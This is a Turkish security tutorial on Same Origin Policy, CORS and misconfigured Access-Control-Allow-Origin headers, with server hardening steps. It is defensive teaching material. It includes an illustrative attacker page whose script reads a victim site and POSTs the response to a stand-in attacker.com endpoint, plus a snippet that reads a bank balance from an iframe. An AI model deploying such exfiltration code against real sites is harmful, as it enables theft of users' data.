Yanlış Yapılandırılmış Access-Control-Allow-Origin Başlığı Açıklığı | |||||||||||||||||
İçindekiler
a. Origin Nedir?
b. Same Origin Policy (SOP) Nedir? c. Same Origin Policy (SOP) ve Web Uygulamalarda Third Party Content (Üçüncü Taraf İçerik) Çalıştırma Hakkında d. Same Origin Policy’nin Web Tarayıcılarda Varsayılan Olarak Uygulanması e. Cross Origin Resource Sharing (CORS) Nedir? f. Cross Origin Resource Sharing (CORS) İstek Türleri g. CORS İsteği Alabilen Web Sitelerin Güvensiz “Access-Control-Allow-Origin” (ACAO) Kullanması
1. ACAO’da “*” (Wildcard) Değeri Kullanılması
h. Önlem2. ACAO’da İstekteki Origin Başlığına Göre Dinamik Değer Kullanılması 3. ACAO’da “null” Değeri Kullanılması EK.#1 Same Origin Policy ve Cookie Başlığı Arasındaki İlişki EK.#2 Same Origin Policy ve Cross Origin Resource Sharing Başlıkları Cross Site Request Forgery Saldırılarına Karşı Korur mu? a. Origin Nedir? Web sitelerine ait URL’lerdeki protokol, host (domain) ve port parçalarının birlikte oluşturduğu dizilime origin denir. Protokol, host (domain) ve port unsurları aynı olan URL’lere same origin (aynı origin) adı verilir. Örneğin
http://domain.com
origin'i ile web tarayıcıda görüntülenen aşağıdaki origin’ler same origin mi kıyaslamasına tabi tutalım:
Sonuç olarak origin’lerin protokol, host ve port şeklinde 3 parçası da aynıysa same origin denir, değilse farklı origin’ler olurlar. Web adresler eğer aynı protokole, hostname’e (domain veya subdomain’e) ve port numarasına sahipse same origin’dir, fakat bunun bir istisnası vardır. Bu noktada Internet Explorer öne çıkar. Internet Explorer’da port numarası origin’i belirleyen bir unsur olarak ele alınmaz. Dolayısıyla örneğin Internet Explorer’da aynı protokollü ve aynı hostname’li, fakat 80 ve 8080 şeklinde iki farklı portlu iki url same origin olarak kabul edilir. Diğer web tarayıcılarda same origin olarak kabul edilmez. b. Same Origin Policy (SOP) Nedir? Same Origin Policy (SOP) modern web tarayıcıların içerisinde yer alan istemci taraflı bir güvenlik politikasıdır. Web tarayıcı sekmelerinde görüntülenen bir web adresin (bir origin’in) başka bir web adrese (bir diğer origin’e) AJAX (asenkron) istekler yapmasını engeller. Diğer bir ifadeyle web tarayıcı sekmelerinde görüntülenen bir web adresin (bir origin’in) başka bir web adresin (bir diğer origin’in) DOM ve javascript namespace’ine (isim uzayına) erişimini engeller. Saldırganlar bu politika olmasa kendilerine ait zararlı bir web adresten başka web adreslere asenkron istekler kurbana yaptırarak hassas veri çalabilirler veya kurbana fark etmeden zafiyetli web sitelerde aksiyon aldırabilirler. Örneğin web tarayıcıda kurbanın görüntülediği zararlı bir web sitesi (origin) var olsun ve bu www.attacker.com olsun. Zafiyetli web adres (bir diğer origin) ise www.victim.com olsun. Kurbanın web tarayıcısında görüntülediği www.attacker.com zararlı web adresinden (origin’inden) AJAX (asenkron) istek www.victim.com web adresine (origin’ine) gidiyor olsun. // Görüntülenen Web Adres Kurban Web Tarayıcı Adres Çubuğu: http://www.attacker.com/ <html> <head></head> <body> ... <h1>Office 365 TR Lisansı</h1> ... <script> var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { var xhr2 = new XMLHttpRequest(); // www.attacker.com: attacker listener to steal response xhr2.open("POST", "https://www.attacker.com/gelenVerileriDosyala.php", true); xhr2.send(xhr.responseText); } }; xhr.open("GET", "http://www.victim.com", true); xhr.send(); </script> ... </body> </html> Same Origin Policy web tarayıcıda “görüntülenen sekmedeki web adresin” yalnızca aynı web adresin sunucusuna istek göndermesine izin verir. Ayrı web adreslere istek göndermesini engeller. Dolayısıyla kurbanın görüntülediği www.attacker.com web sayfasında başka bir origin’e yapılan AJAX (asenkron) istek sırasında web tarayıcıdaki same origin policy hemen devreye girecektir ve isteği engelleyecektir. Sonuç olarak Same Origin Policy bir web tarayıcı güvenlik politikasıdır ve web sitelerin birbirlerine istek yapmalarını (yani bu yolla saldırmalarını) engeller. c. Same Origin Policy (SOP) ve Web Uygulamalarda Third Party Content (Üçüncü Taraf İçerik) Çalıştırma Hakkında Same Origin Policy web tarayıcı güvenliğinin merkezindeki bir kavram olmasına karşın sıklıkla yanlış anlaşılmaktadır ve üzerine doğru olmayan varsayımlar yaygınca yapılmaktadır. Same Origin Policy hakkında en çok bilinen efsane “web tarayıcının farklı bir origin’den kaynak yüklemesini yasaklaması”dır. Devasa CDN ekosisteminin varlığı bunun doğru olmadığını ispatlar ama örneklerle açıklayalım. Örneğin web tarayıcıda A origin’i (web adresi) görüntüleniyor olsun ve bir de farklı bir B origin’i var olsun. Daha açık ifadeyle belirli HTML nesneler vardır: <img>, (dinamik) <scripts src=http://>, <iframe>, <video>, <audio>, <object>, <form>, <embed>, <link>, @font-face. Örneğin A origin’indeki <img> etiketi cross-origin (siteler arası) içerik olan resmi kullanıcıya görsel olarak gösterecektir, fakat A origin’indeki script’lerin cross-origin (siteler arası) resim içeriğini okumasına izin veremeyecektir. Örneğin A origin’indeki <script> etiketi cross-origin (siteler arası) içerik olan js dosyasını çalıştıracaktır, fakat A origin’indeki script’lerin cross-origin (siteler arası) js dosyası içeriğini okumasına izin veremeyecektir. Örneğin A origin’indeki <iframe> etiketi cross-origin (siteler arası) içerik olan sayfanın içeriğini kullanıcıya görsel olarak gösterecektir, fakat A origin’indeki (parent sayfadaki) script’lerin iframe’lenen sayfanın içeriğini okumasına izin veremeyecektir. A origin’inde diğer nesneler de aynı şekilde farklı origin’lerden getirdikleri içerikleri yükleyeceklerdir, fakat A origin’indeki script’lerin cross-origin (siteler arası) bu kaynakların ham içerikleri okumasına izin verilmeyecektir. Yani Same Origin Policy javascript’lerin cross-origin (origin’ler arası) kaynak içeriklerine programlamatik erişimini engelleyen bir güvenlik önlemidir. Yoksa Same Origin Policy cross-origin (origin’ler arası) kaynakların içeriklerinin yüklenmesini engelleyen bir güvenlik önlemi değildir. Diğer bir ifadeyle Same Origin Policy bir web adresin (origin’in) javascript kodları (AJAX) ile bir başka web adresin (origin’in) DOM yapısına ve javascript namespace’ine (isim uzayına) ulaşmasını engeller. Yoksa bir web adrese (bir origin’e) başka bir web adresin (başka bir origin’in) içeriğinin yüklenmesini engellemez. Web sitelerde cross-origin (origin’ler arası) şeklinde içerik yükleme - genel itibariyle - izinlidir. Örneğin bir web adrese farklı bir web adresin içeriği iframe ile - X-Frame-Options kullanılmadığı takdirde – yüklenebilir. Same Origin Policy’nin burada görevi ise javascript yoluyla programlamatik olarak farklı origin olan iframe’in içeriğine erişilmesini engellemektir. d. Same Origin Policy’nin Web Tarayıcılarda Varsayılan Olarak Uygulanması Web tarayıcılarda Same Origin Policy varsayılan olarak uygulanır. Varsayılan olarak uygulanmasaydı zararlı bir web sitesi ziyaret edildiğinde örneğin saldırgan kurbanın Gmail epostaları, Facebook özel mesajları,… gibi hassas verilerini okuyabilirdi veya örneğin kurban www.banka.kotu-site.com gibi kötü bir web sitesini ziyaret edebilir, bu kötü web sitesinde legal bir www.banka.com bankacılık web sitesi iframe ile yüklenebilir ve kurban burada oturum açtığında saldırgan basit bir JavaScript çağrısı (call) ile iframe’de yüklenen www.banka.com’un DOM nesnelerine ve javascript namespace’ine (isim uzayına) erişebilirdi. Bu yolla örneğin kurbanın bankadaki bakiye bilgisini alabilirdi veya kurbanın fark etmeden bankacılık uygulamasında bir aksiyon almasını sağlayabilirdi (örn; para transfer edebilirdi). Zararlı web sitesinde iframe içerisindeki kurbanın bakiyesi örneğin şu Javascript koduyla alınabilirdi. JavaScript: var bakiye = frames.banka_frame.document.getElementById("bakiye").value; Paylaşılan Javascript kodun yaptığı şey kötü web sitede (parent sitede) banka_frame adlı iframe nesnesine erişmek ve iframe’in DOM yapısı içerisindeki bakiye isimli HTML nesneye erişip değerini çekmektir. Buradaki işlem parayı farklı bir yere göndermek için tarayıcı çağrıları (call) yapılacak şekilde genişletilebilir. Same Origin Policy olmasaydı bu türden siteler arası (cross-site) istekler kurbanın bilgisi olmadan ve fark etmeden yürütülebilirdi. Same Origin Policy web tarayıcılarda varsayılan olarak uygulandığından bu v.b. saldırıların önüne geçilmiş olunmaktadır. iframe örneğinde olduğu gibi bir origin bir başka origin’i iframe ile sunabilir, içeriğini yükleyebilir, fakat Same Origin Policy varsayılan olarak uygulandığından bir origin iframe ile sunduğu diğer origin’in gömülü içeriğine programlamatik olarak erişemez. Bu ciddi zararların engellenmesini sağlar. e. Cross Origin Resource Sharing (CORS) Nedir? Web tarayıcılardaki “Same Origin Policy” güvenlik ayarının web sitelerin sundukları hizmete göre esnetilmesi ihtiyacı doğabilmektedir. Örneğin bir web adres (origin) çalışma şekli gereği bir başka web adresin (origin’in) kendisine AJAX (asenkron) istekler yapabilmesine, programlamatik erişimler sağlayabilmesine olanak tanımak isteyebilir. Web tarayıcılardaki “Same Origin Policy”yi esnetmek için “XDomainRequest”, “JSONP” and “Cross Origin Resource Sharing” teknikleri vardır. Cross Origin Resource Sharing (CORS) Same Origin Policy’yi esnetmek için kullanılan en yaygın tekniktir. Cross Origin Resource Sharing (CORS) origin izinlerini tanımlamak için http başlıklarını kullanan bir http mekanizmasıdır. Web tarayıcılarda görüntülenen her bir web sitesi kendi kaynaklarına (örn; çerezlerine, DOM yapısına ve javascript namespace’ine) sahiptir. Bu kaynaklara farklı origin’lerden gelecek erişimlere izin vermek için web sitelerde CORS başlıkları kullanılır. Bu başlıklar verdikleri izinler doğrultusunda web tarayıcılardaki Same Origin Policy’nin katılığını esnetir. CORS neticede istemci taraflı web adresler arası (cross-origin) istekler yapmayı sağlayan bir mekanizmadır. f. Cross Origin Resource Sharing (CORS) İstek Türleri İki tür cors isteği vardır:
Bu isteklere bakalım.
g. CORS İsteği Alabilen Web Sitelerin Güvensiz “Access-Control-Allow-Origin” (ACAO) Kullanması Cross Origin Resource Sharing (CORS) XMLHttpRequest yoluyla origin dışına istek atıp yanıt almayı sağlayan bir mekanizmadır. Web tarayıcılar Same Origin Policy güvenlik politikası gereği cross-origin (siteler arası) isteklere web siteler “Access-Control-Allow-Origin” http yanıt başlığını sunmadıkça izin vermezler.
h. Önlem Eğer API public değilse, Access-Control-Allow-Origin http yanıt başlığı asla * (wildcard) ile ayarlanmamalıdır. Uygulamanın tüm içeriği public olarak (yani her origin’ce) programlamatik olarak erişilebilir ve kullanılabilir şekilde düşünülmüşse sadece o zaman * (wildcard) ile ayarlanmasında bir sakınca bulunmaz. CORS temelli saldırıları önlemek için;
Sıkılaştırma adımları şu şekildedir:
i) Apache
Belirtilen satır genellikle httpd.conf veya apache.conf’da konumlandırılmış konfigürasyon dosyasındaki <directory>, <location>, <files> veya <virtualhost> bölümlerinden birine yerleştirilmelidir. Ayrıca belirtilen satır .htaccess dosyasına da yerleştirilebilir. Header set Access-Control-Allow-Origin "domain" ii) IIS6 1. Internet Information Service (IIS) Manager açılır. 2. CORS’un aktifleştirileceği siteye sağ tık yapılır ve Properties’e gidilir. 3. HTTP Headers sekmesine geçilir. 4. Custom HTTP headers bölümünde Add seçeneğine tıklanır. 5. “Access-Control-Allow-Origin” başlık ismi olarak girilir. 6. İzinli tanımlanacak domain adresi başlık değeri olarak girilir. iii) IIS7 Web uygulamanın kök dizinindeki web.config dosyasına belirtilen kod bloğu eklemesi yapılır. <?xml version="1.0" encoding="utf-8" ?> <configuration> <system.webserver> <httpprotocol> <customheaders> <add name="Access-Control-Allow-Origin" value="domain" /> </customheaders> </httpprotocol> </system.webserver> </configuration> iv) ASP.NET Alternatif olarak kaynak koda belirtilen kod satırı eklenerek de ilgili önlem devreye alınabilir: Response.AppendHeader("Access-Control-Allow-Origin", "domain"); EK.#1 Same Origin Policy ve Cookie Başlığı Arasındaki İlişki Web tarayıcılardaki Same Origin Policy güvenlik politikasının siteler arası (cross-site) asenkron istekler konusunda koyduğu katı kural göz önüne alındığında çerezler konusunda daha geniş davrandığı söylenebilir. Web tarayıcılarda çerezler farklı origin’ler de olsa ilgili ilgisiz tüm origin’lerde erişilebilirdir. Bu nedenle web tarayıcıların siteler arası (cross-site) isteklerde çerezleri göndermesini engellemek için Cookie başlığına SameSite bayrağı eklenebilir. Çerezlerin javascript namespace’inde (isim uzayında) erişimini kaldırmak için de Cookie başlığına HttpOnly bayrağı eklenebilir. EK.#2 Same Origin Policy ve Cross Origin Resource Sharing Başlıkları Cross Site Request Forgery Saldırılarına Karşı Korur mu? Same Origin Policy (SOP) veya güvenli yapılandırılmış Cross Origin Resource Sharing (CORS) Cross Site Request Forgery (CSRF) saldılarının bir kısmını durdurur, fakat bir kısmını durduramaz. SOP’un ve güvenli yapılandırılmış CORS’un CSRF’e karşı “tamamen” bir güvenlik sağladığı düşünülmesi yaygın bir yanılgıdır. Same Origin Policy (SOP) siteler arası (cross-site) veri yazmaya izin verir. Örneğin bir origin’den bir html form’u submit’lendiğinde farklı origin’e veri yazdırılabilir. Fakat web tarayıcı submit’lenen html form sonucunda sunucunun döndüğü yanıtı okumaya izin vermez. Buradan yola çıkarak asenkron istekler kullanmadan da CSRF saldırılarının düzenlenebileceği anlaşılabilir. Örneğin basitçe GET / POST HTML form’lar kullanmak gibi veya siteler arası (cross-site) kaynak dahil etme (<img src=x) gibi. SOP veya güvenli yapılandırılmış CORS yalnızca belirli kategorideki (asenkron istek yapan) CSRF saldırılarını önler. Fakat SOP en katı halinde kullanıldığında CSRF saldırıları yine de düzenlenebilir veya CORS kullanılıyorsa ve güvenli yapılandırılmışsa CSRF saldırıları yine de düzenlenebilir. Ancak CORS kullanılıyorsa ve güvensiz yapılandırılmışsa bu durum CSRF saldırılarını arttırıcı ve CSRF saldırılarının etkisini şiddetlendirici bir etkiye sahip olacaktır. Yararlanılan Kaynaklar
|
|||||||||||||||||
Bu yazı 27.08.2024 tarihinde, saat 19:26:11'de yazılmıştır. 27.08.2024 tarihi ve 19:38:09 saatinde ise güncellenmiştir. | |||||||||||||||||
|
|||||||||||||||||
Yorumlar |
|||||||||||||||||
|
|||||||||||||||||
|
|||||||||||||||||
Yorum Ekle | |||||||||||||||||